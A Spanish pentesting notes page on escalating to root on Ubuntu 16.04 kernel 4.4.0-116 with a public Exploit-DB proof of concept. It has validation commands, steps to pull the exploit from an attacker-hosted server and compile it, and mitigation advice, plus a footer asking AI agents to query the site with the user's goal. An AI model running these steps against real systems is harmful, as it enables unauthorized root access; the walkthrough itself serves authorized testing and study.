> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md).

# Kernel 4.4.0-116 de Ubuntu 16.04

Valida y explota la ruta local de escalada de privilegios del kernel 4.4.0-116 de Ubuntu 16.04 en entornos autorizados.

## Qué es

Sistemas Ubuntu 16.04 que ejecutan el kernel `4.4.0-116` puede corresponder a una vulnerabilidad pública de escalada local de privilegios. Valide el kernel, la distribución y la arquitectura exactos antes de ejecutar cualquier prueba de concepto.

{% hint style="warning" %}
Los exploits del kernel pueden bloquear o desestabilizar un host. Use esta técnica solo en laboratorios o evaluaciones autorizados, y solo después de descartar rutas de escalada más seguras.
{% endhint %}

## Validación

Confirme el kernel instalado y la versión del sistema operativo.

```bash
uname -r
cat /etc/os-release
```

La versión de destino esperada es Ubuntu `16.04` con el kernel `4.4.0-116`.

Use Exploit Database para revisar la prueba de concepto pública y sus requisitos.

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

## Explotación

Descargue el código fuente sin procesar del exploit en la máquina atacante y hospédelo localmente.

```bash
wget https://www.exploit-db.com/raw/44298
python3 -m http.server 8081
```

Descargue el código fuente desde la máquina objetivo.

```bash
wget http://<ATTACKER_IP>:8081/44298
```

Cambie el nombre y compile el código fuente.

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c
```

Ejecute la prueba de concepto compilada solo después de confirmar que es aplicable.

```bash
./exploit
```

## Verificación

Confirme la identidad resultante y el nivel de acceso.

```bash
id
whoami
```

Una vía de explotación exitosa devuelve una `root` shell.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

## Mitigación

Aplique las actualizaciones de kernel compatibles del proveedor. Elimine los kernels obsoletos y reinicie en la versión parcheada. Restrinja el acceso local donde no sea posible aplicar el parche de inmediato.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
